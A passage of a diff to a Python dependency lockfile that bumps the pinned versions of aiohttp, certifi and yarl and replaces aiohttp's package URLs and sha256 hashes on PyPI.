- { name = "aiohttp", specifier = "==3.14.3" },
+ { name = "aiohttp", specifier = "==3.14.5" },
{ name = "aiosignal", specifier = "==1.4.0" },
{ name = "alibabacloud-actiontrail20200706", specifier = "==2.4.1" },
{ name = "alibabacloud-credentials", specifier = "==1.0.3" },
@@ -59,7 +59,7 @@ constraints = [
{ name = "bandit", specifier = "==1.8.3" },
{ name = "black", specifier = "==26.3.1" },
{ name = "blinker", specifier = "==1.9.0" },
- { name = "certifi", specifier = "==2026.4.22" },
+ { name = "certifi", specifier = "==2026.10.19" },
{ name = "cffi", specifier = "==2.0.0" },
{ name = "cfn-lint", specifier = "==1.51.0" },
{ name = "charset-normalizer", specifier = "==3.4.7" },
@@ -226,7 +226,7 @@ constraints = [
{ name = "wrapt", specifier = "==2.1.2" },
{ name = "xlsxwriter", specifier = "==3.2.9" },
{ name = "xmltodict", specifier = "==1.0.4" },
- { name = "yarl", specifier = "==1.23.0" },
+ { name = "yarl", specifier = "==1.25.1" },
{ name = "zipp", specifier = "==3.23.1" },
{ name = "zstd", specifier = "==1.5.7.2" },
]
@@ -273,7 +273,7 @@ wheels = [
[[package]]
name = "aiohttp"
-version = "3.14.3"
+version = "3.14.5"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "aiohappyeyeballs" },
@@ -286,85 +286,86 @@ dependencies = [
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
{ name = "yarl" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 7971213, upload-time = "2026-07-23T01:57:27.037Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/6c/4c/bdccd81e9ee225b69c60e7766c9a5b05364f118f4d383713b89a682d772d/aiohttp-3.14.5.tar.gz", hash = "sha256:5558a7f5a05af9ecf744af91e5baefc436f93c9333e656c27ec253f9a6bbe178", size = 8078052, upload-time = "2026-10-11T01:05:12.408Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/2d/4d/4a99fb425c5e0cad715eea7bd190aff46f38b959a0a2dadb993705d34b26/aiohttp-3.14.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:eb0495d778817619273c108784292be161a924b9f5ae5cbbc70a2caa6838250b", size = 765848, upload-time = "2026-07-23T01:52:08.217Z" },
- { url = "https://files.pythonhosted.org/packages/74/e8/43b85dc55b8e950dc644babe762add781319ea881b57b33d2cce12017d12/aiohttp-3.14.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c3c200cf9757edd785051dc699c7ecbec22110dbfcb3fefc7a9f9695eda8ea7a", size = 517476, upload-time = "2026-07-23T01:52:10.846Z" },
- { url = "https://files.pythonhosted.org/packages/7f/9e/73b582c4dbbc3c12ef4473822475effaabf1f934b56f14f5b03fe5d3a2af/aiohttp-3.14.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:fd51ebf9d3a00c074df4ede271023f4d2dba289bcc740b88191872716014e3c5", size = 515334, upload-time = "2026-07-23T01:52:12.636Z" },
- { url = "https://files.pythonhosted.org/packages/79/03/e98c3c9e05a5bdf97defe5ff9169baba4f0ec9a901f2d60e0f060c2f051e/aiohttp-3.14.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:134ac5ddcf61c6fad984b9a5727d83492ada43d63471db20fb73042c13fca62f", size = 1708830, upload-time = "2026-07-23T01:52:14.538Z" },
- { url = "https://files.pythonhosted.org/packages/d7/2c/26e60b694844dfd2176c57f913a22d0cd6a16f9ff202cbda7580d0328b98/aiohttp-3.14.3-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:70c987b27534f9ae1a723f47ae921571d616da21d3208282bf4c52af5164ac43", size = 1674012, upload-time = "2026-07-23T01:52:16.486Z" },
- { url = "https://files.pythonhosted.org/packages/38/65/672df92e3172cd876aacfa97a952ac560877eb169384b2991ac5b273de4c/aiohttp-3.14.3-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1b59533861b70a2185c8f4f350f791f39d64358ef6944ce71c5240c9ec0982c9", size = 1767015, upload-time = "2026-07-23T01:52:18.28Z" },
- { url = "https://files.pythonhosted.org/packages/9e/c5/228dec7bfec1c373cc2217cdeb47d6456dcd7a13a4c55144930a75ae3851/aiohttp-3.14.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1c5281acc88b92396f88c7e1e2748f8466689df22b80170e4f51efa712fb47a8", size = 1858700, upload-time = "2026-07-23T01:52:20.08Z" },
- { url = "https://files.pythonhosted.org/packages/bd/ff/cb36724e8c8d17f90ada567a9ff3efe1d6e9b549fba697a242aece180f21/aiohttp-3.14.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:48d67b87db6279c044760787eb01f6413032c2e6f3ba1cafaa492b1c8e578479", size = 1714075, upload-time = "2026-07-23T01:52:22.071Z" },
- { url = "https://files.pythonhosted.org/packages/9f/3a/296a4135c6366376263aeef54b15caca1f07676c2ae0c525d7832f2f808a/aiohttp-3.14.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f53bcd52f585e1ac3e590d61434eb61f9a88c38df041b4ea126d97144344a77b", size = 1588234, upload-time = "2026-07-23T01:52:23.757Z" },
- { url = "https://files.pythonhosted.org/packages/7d/81/9d5d853ef892dc066d1eb6db0e87a47348b920c1c879aa554612fdbd9d79/aiohttp-3.14.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0fdea2281997af69da84c77ffa6f5938a0285f21fb3887c249d67419ca865b3d", size = 1677300, upload-time = "2026-07-23T01:52:25.861Z" },
- { url = "https://files.pythonhosted.org/packages/68/96/021d386ae32d9b26d4b88df2e794546232ff56bb6be952bf6be227c0bbc7/aiohttp-3.14.3-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cda5fd5c95ad7a125a2e8464acc78b98b94c475a3780d6aa0aa157c93f470f4d", size = 1691501, upload-time = "2026-07-23T01:52:28Z" },
- { url = "https://files.pythonhosted.org/packages/29/9f/af66adce26a14af135c003cbd0f44ccaa68cebd30ff8ac99ca47fb4958f7/aiohttp-3.14.3-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:6debfa7312ff9d4c124dc71d72e9a0a4b9e0879e48ba6fcb42bef5c3300289e2", size = 1735113, upload-time = "2026-07-23T01:52:29.995Z" },
- { url = "https://files.pythonhosted.org/packages/2f/90/28c390d4c9851effe52ac25b5a2e1d92246acd00728b4fc7975dafb67484/aiohttp-3.14.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:f4e05329faa0ea1a404b37de4f034fd2c2defcca06a68dc6745e4e56c88e8a48", size = 1577486, upload-time = "2026-07-23T01:52:31.937Z" },
- { url = "https://files.pythonhosted.org/packages/db/c2/00e23a1bf2abb70dd353f6987db7e7f2491d0261f7363997738c71c98f95/aiohttp-3.14.3-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a3a8296e7ab5c295f53f1041487cb088e1480775aafbf7fe545d93b770a0f96f", size = 1751353, upload-time = "2026-07-23T01:52:33.688Z" },
- { url = "https://files.pythonhosted.org/packages/6e/7d/d51a706a8cbfa57f0611127daf61ab3ae02ab8420b0407412079227d1c65/aiohttp-3.14.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5373dc80ad1aa2fb9ad95c83f24eef418bbda3a61375f128e5b0192e4f3f9b32", size = 1698681, upload-time = "2026-07-23T01:52:38.167Z" },
- { url = "https://files.pythonhosted.org/packages/ec/b0/90bd5cd9fdd9787cb4211d284d1fb8401339a933cb0227a15b71e789232f/aiohttp-3.14.3-cp310-cp310-win32.whl", hash = "sha256:a3e22975f905b89a55a488c2a08f2fdb2186175349e917d48985cc468a3d4c6e", size = 456733, upload-time = "2026-07-23T01:52:41.823Z" },
- { url = "https://files.pythonhosted.org/packages/d8/15/fe5b8f6a71ae112bc677163d0b0701bda5dc15005249582258ede0eb88c7/aiohttp-3.14.3-cp310-cp310-win_amd64.whl", hash = "sha256:bdd0e2834dce1a26c1bbe26464861e16bbe217042cbff619247c11594472518c", size = 480460, upload-time = "2026-07-23T01:52:43.905Z" },
- { url = "https://files.pythonhosted.org/packages/54/00/45e98b6645cd7f00a4b78b749ebd309094b0eaeb2d2e96157eadbc0d0050/aiohttp-3.14.3-cp310-cp310-win_arm64.whl", hash = "sha256:eac645b09bcfdf73df7536331f0678c1086ea250981118ddb5199e17ccef72bb", size = 453479, upload-time = "2026-07-23T01:52:46.075Z" },
- { url = "https://files.pythonhosted.org/packages/f8/5c/b3e4ff8ad43a8afef9602c5e90285936da1beaea8b029016b793891f03c3/aiohttp-3.14.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3", size = 764250, upload-time = "2026-07-23T01:52:48.525Z" },
- { url = "https://files.pythonhosted.org/packages/0e/da/f1b384465e51449d844056b75070461da03a9a23e6c1747003695bf4172a/aiohttp-3.14.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a", size = 516281, upload-time = "2026-07-23T01:52:51.047Z" },
- { url = "https://files.pythonhosted.org/packages/b9/3f/01264f820ee2e3712a827892b1cd6ff80f3300c1fcbffbb45714a915d47a/aiohttp-3.14.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8", size = 514742, upload-time = "2026-07-23T01:52:53.779Z" },
- { url = "https://files.pythonhosted.org/packages/9e/8d/a71c6f2db52ac1ed142b133f7feddaa6b70539c3f4de24d7e226c95b794c/aiohttp-3.14.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239", size = 1780613, upload-time = "2026-07-23T01:52:56.948Z" },
- { url = "https://files.pythonhosted.org/packages/a5/11/3dd9b3fb3a170f6ec9011b5291d876a6fab4086714c9e158600edf01b4fd/aiohttp-3.14.3-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f", size = 1737688, upload-time = "2026-07-23T01:52:59.294Z" },
- { url = "https://files.pythonhosted.org/packages/6d/3e/834c26918be7d88068822b40e0db30fca50b5f4fe79104aa16a93f1d74e6/aiohttp-3.14.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06", size = 1845742, upload-time = "2026-07-23T01:53:01.641Z" },
- { url = "https://files.pythonhosted.org/packages/cc/c9/49ab8572df7d66bc13d11e31f781292badb04180dd87ba98733066c6aed7/aiohttp-3.14.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929", size = 1928412, upload-time = "2026-07-23T01:53:04.018Z" },
- { url = "https://files.pythonhosted.org/packages/a5/b9/2b8f0c0ce09c87a1daf80fd483431b56b1435d3f62789bc86f572e1245de/aiohttp-3.14.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db", size = 1786220, upload-time = "2026-07-23T01:53:06.481Z" },
- { url = "https://files.pythonhosted.org/packages/85/00/9c45f81de11710460edfa1dc81317b6e882703b160926c879a9d20da9fcc/aiohttp-3.14.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce", size = 1637231, upload-time = "2026-07-23T01:53:10.258Z" },
- { url = "https://files.pythonhosted.org/packages/19/ce/967d628e910756f3539c6107cb7844a1b69440dcb3029a5ee7871b09ab63/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c", size = 1753161, upload-time = "2026-07-23T01:53:13.817Z" },
- { url = "https://files.pythonhosted.org/packages/11/b2/0c3d4114f0aee4f580f5b3b4eb71b24d7a23b834ea506a4dfebe76513f35/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15", size = 1756356, upload-time = "2026-07-23T01:53:16.211Z" },
- { url = "https://files.pythonhosted.org/packages/63/5d/99e7d91c82f1399d1ae2a854e080bd1493fbc31e5e959dbc4ec33dac3bec/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c", size = 1819846, upload-time = "2026-07-23T01:53:18.289Z" },
- { url = "https://files.pythonhosted.org/packages/ad/05/d5e1cb6480eeffd3f901d40a2c5e2d1e7effdc797837da3b490272699f13/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae", size = 1628531, upload-time = "2026-07-23T01:53:23.86Z" },
- { url = "https://files.pythonhosted.org/packages/c9/90/b934682bcaefae18a9e04f3dff5b68522ba810906358ae5029b68110ea3b/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910", size = 1832712, upload-time = "2026-07-23T01:53:27.551Z" },
- { url = "https://files.pythonhosted.org/packages/21/df/6061679faaf81fac746e7307c7adb71e858071a5d34c27583afefc64f543/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7", size = 1775014, upload-time = "2026-07-23T01:53:30.223Z" },
- { url = "https://files.pythonhosted.org/packages/8a/1d/f854878bbc69b88faefe924b619a34a6f59ec05fd387c77690667eaa75eb/aiohttp-3.14.3-cp311-cp311-win32.whl", hash = "sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa", size = 456006, upload-time = "2026-07-23T01:53:34.97Z" },
- { url = "https://files.pythonhosted.org/packages/73/0c/2af9d1674baccd1dbd47282a93d660a22e57ef6167c856deb24b4214fbab/aiohttp-3.14.3-cp311-cp311-win_amd64.whl", hash = "sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d", size = 481069, upload-time = "2026-07-23T01:53:39.673Z" },
- { url = "https://files.pythonhosted.org/packages/8e/76/88401ff3fc95e85c5fc38d588f36f55e61ecb64343b2bc8d69326f453cc0/aiohttp-3.14.3-cp311-cp311-win_arm64.whl", hash = "sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39", size = 453021, upload-time = "2026-07-23T01:53:43.749Z" },
- { url = "https://files.pythonhosted.org/packages/18/d4/eb96299230e20acf2efae207cb8d69051f1f68e357e5ea5e479bf6fb097a/aiohttp-3.14.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5", size = 754690, upload-time = "2026-07-23T01:53:47.332Z" },
- { url = "https://files.pythonhosted.org/packages/88/11/e7a70a209eb9a067c0d3212b518a0134e3484f5178c7533878b6b514d469/aiohttp-3.14.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228", size = 509484, upload-time = "2026-07-23T01:53:51.159Z" },
- { url = "https://files.pythonhosted.org/packages/30/07/4bbc222cc8dbe31d4c3e8a5baad2286e4d42026ac0c570027b89afce6344/aiohttp-3.14.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee", size = 511949, upload-time = "2026-07-23T01:53:55.083Z" },
- { url = "https://files.pythonhosted.org/packages/54/b9/42e74c46b7b7c794b995bbc1f573fb48950c38b19d8600c62a6804ee2d67/aiohttp-3.14.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a", size = 1765282, upload-time = "2026-07-23T01:53:59.662Z" },
- { url = "https://files.pythonhosted.org/packages/6b/ed/62bc4d74363ad346d518e0720363a949f63e2e23439a79eb5813d4d29bb3/aiohttp-3.14.3-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b", size = 1741511, upload-time = "2026-07-23T01:54:04.063Z" },
- { url = "https://files.pythonhosted.org/packages/d0/9f/181e8a8bc79e47d13c7fc4540bd7a3b729d9505609c61f392a8dd2fbfe55/aiohttp-3.14.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529", size = 1810680, upload-time = "2026-07-23T01:54:09.882Z" },
- { url = "https://files.pythonhosted.org/packages/5c/9a/dec94d6ad694552fe3424e3f1928d7a606a5d9d9433a04e7ecdd9d38ae7f/aiohttp-3.14.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787", size = 1905646, upload-time = "2026-07-23T01:54:13.475Z" },
- { url = "https://files.pythonhosted.org/packages/52/b7/7cd31f29d6055bd711ae6e669367fba6f5ae9de463910a793e30556a8db7/aiohttp-3.14.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42", size = 1792122, upload-time = "2026-07-23T01:54:15.752Z" },
- { url = "https://files.pythonhosted.org/packages/66/73/10b1ef93afa61f4963c746257b70ced619cf31a4798671de5fdb2608501d/aiohttp-3.14.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b", size = 1591127, upload-time = "2026-07-23T01:54:19.489Z" },
- { url = "https://files.pythonhosted.org/packages/49/ed/3b203fa6de1b338c14acdc06bf6ca9b043b7944f005966958c2ced932cde/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:041badb8f84396357c4d3ad26de6afd7a32b112f43d3c63045c0c8278cfd2043", size = 1725210, upload-time = "2026-07-23T01:54:24.129Z" },
- { url = "https://files.pythonhosted.org/packages/28/b7/1c2aab8c706436dcc28598452488ac9cd7c409da815237c28c27d58993e6/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:530125ee1163c4219af35dc3aa1206e541e7b31b6efc1a3f93b70a136f65d427", size = 1764848, upload-time = "2026-07-23T01:54:27.973Z" },
- { url = "https://files.pythonhosted.org/packages/54/50/94c28f08b131c4bf10984ea2c7a536c9920608bb2d6e7f95642c30cc87b7/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c8653fd547c93a61aadc612007790f5555cdd18946fa48cf45e26d8ea4ea473d", size = 1777102, upload-time = "2026-07-23T01:54:31.775Z" },
- { url = "https://files.pythonhosted.org/packages/13/d4/e7d09ba7d345fb2d74440fd2fa033c5e079fac05552927705986f41a364f/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:89176250f686cb9853c0fb7ead90e639e915b84a6f43eedc2a4e7ec21f1037f0", size = 1580205, upload-time = "2026-07-23T01:54:34.518Z" },
- { url = "https://files.pythonhosted.org/packages/a3/84/072a91d68e1e1eb587985b54baab94221277f877e8ef274fc213a0ceae28/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3a26434dafe408229ff3403458ca58de24fb51936504decac49ce6755f77e59d", size = 1797219, upload-time = "2026-07-23T01:54:36.995Z" },
- { url = "https://files.pythonhosted.org/packages/e0/eb/aad34e897e668424d6e995da5dff8a4a09af93363d3392488772957a63aa/aiohttp-3.14.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d1558173930a5a8d3069cee5c92fc91c87c4dbcb099debbb3622053717145a19", size = 1768629, upload-time = "2026-07-23T01:54:40.103Z" },
- { url = "https://files.pythonhosted.org/packages/b6/2b/6bb88ddba0fecd9122aa3ebcad25996cf6c083a4a7040dbb3a4f97972af6/aiohttp-3.14.3-cp312-cp312-win32.whl", hash = "sha256:16100ad3ab8d649fdfbee87602d9d2dcdca9df0b9eda8a1b5fdc0d41f96da559", size = 451481, upload-time = "2026-07-23T01:54:42.547Z" },
- { url = "https://files.pythonhosted.org/packages/76/9b/f2f8f108da17ecef2cc3efc424e8b7ad3782b1a8360f7b8eae8ced84f6ea/aiohttp-3.14.3-cp312-cp312-win_amd64.whl", hash = "sha256:33a2d7c28d33797a2e99923dffa63f83d908a19b6bf26cfe80fa790aa5e1a75a", size = 476845, upload-time = "2026-07-23T01:54:44.853Z" },
- { url = "https://files.pythonhosted.org/packages/3e/44/28dac80a8941b604f4da10ce21097614ca1bf905ce93dca28d8d7de9c1e7/aiohttp-3.14.3-cp312-cp312-win_arm64.whl", hash = "sha256:362a3fd481769cac1a824514bcd86fda51c65e8fe6e051099e008fddde6db17c", size = 448050, upload-time = "2026-07-23T01:54:47.087Z" },
- { url = "https://files.pythonhosted.org/packages/57/be/5afd201cc0ab139029aadb75392efe85a293403d9dd3a3226161c21ce00c/aiohttp-3.14.3-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:2e9878ae68e4a5f1c0abe4dd497dbc3d51946f5837b56759e2a02e78fa90ef86", size = 506269, upload-time = "2026-07-23T01:54:49.075Z" },
- { url = "https://files.pythonhosted.org/packages/22/09/dec8189d62b45ade009f6792a2264b942a90cb88aeaf181239933cd72c3c/aiohttp-3.14.3-cp313-cp313-android_21_x86_64.whl", hash = "sha256:f3d2669fe7dec7fc359ecdb5984b29b50d85d5d00f8c1cb61de4f4a24ee42627", size = 515166, upload-time = "2026-07-23T01:54:51.894Z" },
- { url = "https://files.pythonhosted.org/packages/28/24/2854869d29ed8a8b19d74f9ec6629515f7e04d02dd329d9d179201e58e47/aiohttp-3.14.3-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:cc7cb243a68167172f48c1fd43cee91ec4b1d40cefd190edd43369d1a6bc9c82", size = 486263, upload-time = "2026-07-23T01:54:54.223Z" },
- { url = "https://files.pythonhosted.org/packages/d4/dd/57187c8be2a35aea65eaee3bd2c3dcbbcf0204f5106c89637e3610380cd1/aiohttp-3.14.3-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:78253b573e6ffab5028924fc98bc281aae05445969982a10864bc360dea2016c", size = 492299, upload-time = "2026-07-23T01:54:56.236Z" },
- { url = "https://files.pythonhosted.org/packages/b9/11/06ae6ed8f0d414edf4068861e233d8fe23ee699bfd4b3ceb8663db948a62/aiohttp-3.14.3-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:7041d52c3a7fa20c9e8c182b534704abb19502c8bdcbde7ab23bfda6f642394f", size = 502235, upload-time = "2026-07-23T01:54:58.377Z" },
- { url = "https://files.pythonhosted.org/packages/7e/a3/559639c34a345d2cf7c52dff6838119f2eaf29eb508227b5b83f573af813/aiohttp-3.14.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac74facc01463f138b0da5580329cfcc82818dea5656e83ddcd11268fc12ff80", size = 750883, upload-time = "2026-07-23T01:55:00.65Z" },
- { url = "https://files.pythonhosted.org/packages/91/cd/41e131f13afd1e7b0172a9d9eda085ef90eb8439f41f0d279db81ed3ae60/aiohttp-3.14.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d6218d92e450824e9b4881f44e8c09f1853b490f9a64130801024a4793b1b3b0", size = 508473, upload-time = "2026-07-23T01:55:02.945Z" },
- { url = "https://files.pythonhosted.org/packages/bc/6b/e7f13410d391c6e55b4c007a8de024355389d7d459e3d64c42b2d33617e5/aiohttp-3.14.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:11fb37ef075669eee52ab1928fbf6e1741fada40409fa309ebde9607a962aebf", size = 509190, upload-time = "2026-07-23T01:55:05.173Z" },
- { url = "https://files.pythonhosted.org/packages/97/21/6464573e53d69672cc1eada3e5c5cb2d2efa82701e8305a0f2047a576967/aiohttp-3.14.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55bdcc472aafe2de4a253045cc128007a64f1e0264fb675791e132ea5edaa3bd", size = 1761478, upload-time = "2026-07-23T01:55:07.383Z" },
- { url = "https://files.pythonhosted.org/packages/1a/81/d217043a4c17fbce360905e3b2bdd20139ebc9a2de836d035d179c4da006/aiohttp-3.14.3-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c39846c3aad97a8530c89d7a3869a8f8e9e3762c6ac0504481e5c80948f7e807", size = 1735092, upload-time = "2026-07-23T01:55:09.803Z" },
- { url = "https://files.pythonhosted.org/packages/a1/66/e13a02d0eeb1a9a502402a977abb4e4abff9fe4051c26f80558c57a7c975/aiohttp-3.14.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5895ef58c4620afe02fa16044f023dc4dafec08158f9d08874a46a7dbc0341b8", size = 1800546, upload-time = "2026-07-23T01:55:12.012Z" },
- { url = "https://files.pythonhosted.org/packages/26/5e/57d42fca1d18cb5acc1cad945d017fabc5d6ae71d8a08ad66be8dc3ee544/aiohttp-3.14.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa9467a8113aa69d3d7c55a70ef0b7c636010a40993f3df9d9d0d73b3eb7ef24", size = 1895250, upload-time = "2026-07-23T01:55:14.357Z" },
- { url = "https://files.pythonhosted.org/packages/ca/1c/7da8d08e74d56f00070822f9638ff3f1c563f8ad87d1efa996c87bfc8644/aiohttp-3.14.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d7d2deec16eeedf55f2c7cf75b521ea3856a5177e123844f8fd0f114ce252cb5", size = 1789289, upload-time = "2026-07-23T01:55:16.668Z" },
- { url = "https://files.pythonhosted.org/packages/cd/0f/cf16bcf56896981c1a0319f5d5db9337994b5165730c48a8fa07e9b34be6/aiohttp-3.14.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:dd54d0e8717de95939766febac482ac0474d8ac3b048115f9f2b1d23a16e7db4", size = 1586706, upload-time = "2026-07-23T01:55:18.913Z" },
- { url = "https://files.pythonhosted.org/packages/fe/6f/76eac12a7f2480e1e304f842efdb07db33256b0d9165b866b6ef0806c202/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:df82f3787c940c94986b34222d59c9e38843fba85139f36e85255a82ad5355a9", size = 1724652, upload-time = "2026-07-23T01:55:21.296Z" },
- { url = "https://files.pythonhosted.org/packages/39/b6/19c8c592baeeb94b75f966547d40c02ac7590902306ec5863d5c027cf506/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:42a67efc36300d052fb4508a53e8b6901b9284b599ae63945c377569c5fcc1e1", size = 1756239, upload-time = "2026-07-23T01:55:23.705Z" },
- { url = "https://files.pythonhosted.org/packages/dc/c9/4e9383150296f97f873b680c4de8fb2cd88608fb9f48c79edcb111611abc/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7a75aa63cbf9b21cfaf60dc2657e19df2c2867d91707d653fee171ffeedd1371", size = 1769161, upload-time = "2026-07-23T01:55:26.082Z" },
- { url = "https://files.pythonhosted.org/packages/aa/1e/147bdc6cc5de5f3ab011be8bf5d6e786633249f22c20bae06f85e45f5387/aiohttp-3.14.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:e92eb8acc45eb6a9f4935071a77edf5b85cc6f8dfad5cd99e97653c26593cdde", size = 1578759, upload-time = "2026-07-23T01:55:28.846Z" },
